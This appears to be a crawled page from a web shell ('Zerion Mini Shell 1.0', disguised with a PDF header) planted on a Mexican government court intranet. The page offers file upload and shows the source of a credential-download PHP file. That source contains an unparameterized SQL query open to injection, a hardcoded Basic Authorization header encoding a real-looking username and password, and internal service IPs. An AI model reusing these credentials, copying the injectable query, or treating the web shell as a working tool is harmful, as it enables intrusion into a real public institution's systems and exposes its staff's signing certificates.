%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/modalCredenciales.php

<?php
$sql1 = "SELECT e.nombre, e.apellido1, e.apellido2, e.correo, e.correo_alt

            FROM tjam_empleados e

            WHERE e.id = $id_usuario";

$data_usuario = $conf->consulta($sql1);

$correo = "";
if (isset($data_usuario["0"]["correo"]) && $data_usuario["0"]["correo"] != "") {
	$correo = $data_usuario["0"]["correo"];
} else if (isset($data_usuario["0"]["correo_alt"]) && $data_usuario["0"]["correo_alt"] != "") {
	$correo = $data_usuario["0"]["correo_alt"];
} else {
	echo json_encode(array('success' => -1));
	die();
}

?>
<div id="modal_credenciales" tabindex="-1" role="dialog" aria-labelledby="modal-stackable-label" aria-hidden="false"
	class="modal fade">
	<div class="modal-dialog modal-wide-width">
		<div class="modal-content">
			<div class="modal-body"><br>

				<div class="panel panel-green">
					<div class="panel-body">
						<h5>
							<dt>Por favor descargar tus nuevas credenciales</dt>
						</h5>
						<br>

						<div class="row">
							<div class="col-md-6">
								<button type="button" id="btn_cer" class="btn btn-primary btn-block"
									onclick="descargaCertificado(1);">
									<i class="fa fa-download" aria-hidden="true"></i> Descarga certificado CER
								</button>
							</div>
							<div class="col-md-6">
								<button type="button" id="btn_key" class="btn btn-primary btn-block"
									onclick="descargaCertificado(2);">
									<i class="fa fa-download" aria-hidden="true"></i> Descarga certificado KEY
								</button>
							</div>
						</div>

						<br><br>
						<div class="form-actions text-right pal">

							<button type="button" data-dismiss="modal"
								class="btn btn-danger btn-block">Cancelar</button>

						</div>

					</div>
				</div>
			</div>
		</div>
	</div>
</div>


<script>
	function descargaCertificado(tipo) {

		$.ajax({
			//url: "http://189.206.14.26:8080/ControlCertificados/ws/firma/firmar",
			//url: "http://189.206.14.26:8080/ApiJel/UsuariosJEL/getIdFeaCorreo",
			//url: "https://jel.tjamich.gob.mx/ApiJel/UsuariosJEL/getIdFeaCorreo",
			cache: false,
			type: "POST",
			dataType: "json",
			contentType: "application/json",
			data: "<?= $correo ?>",
			headers: {
				Authorization: "Basic dGphbWljaGc6VGphbWljaDE2"
			}
		}).done(function (data) {

			console.log(data);

			/* if (data.Result == true)

			{

				firmaValidar(data.Data.usuario, data.Data.certificado, data.Data.firma, data.Data.timestamp, data.Data.timestampfirma);

			} else {

				var str1 = data.Data.applicationMessage;

				if (str1.includes("duplicidad"))

				{

					bootbox.alert('<p class="text-center"><span class="fa fa-times"></span> No pudo ser firmado </p><p>' + (data ? (data.Data.applicationMessage ? data.Data.applicationMessage + ', en la Coordinaci\u00F3n de Inform\u00E1tica.' : data.Data.statusMessage) : 'Error desconocido') + '</p>');

				} else {

					bootbox.alert('<p class="text-center"><span class="fa fa-times"></span> No pudo ser firmado </p><p>' + (data ? (data.Data.applicationMessage ? data.Data.applicationMessage + ', verifique la informaci\u00F3n.' : data.Data.statusMessage) : 'Error desconocido') + '</p>');

				}

			}
 */


			//console.log(data);

		}).fail(function (jqXHR, textStatus, errorThrown) {
			console.error('AJAX error', {
				status: jqXHR.status,
				statusText: jqXHR.statusText,
				textStatus: textStatus,
				errorThrown: errorThrown
			});

			if (jqXHR.responseText) {
				console.error('ResponseText:', jqXHR.responseText);
			}

			try {
				var resp = jqXHR.responseJSON || (jqXHR.responseText && JSON.parse(jqXHR.responseText));
				if (resp) console.error('Response JSON:', resp);
			} catch (ex) {
				console.error('Failed to parse responseText as JSON:', ex);
			}

		});

	}































	function readFile(file) {

		return new Promise((resolve, reject) => {

			var fr = new FileReader();

			fr.onload = () => {

				var base64 = btoa(new Uint8Array(fr.result).reduce((data, byte) => data + String.fromCharCode(byte), ''));

				resolve(base64);

			};

			fr.readAsArrayBuffer(file);

		});

	}
</script>

Zerion Mini Shell 1.0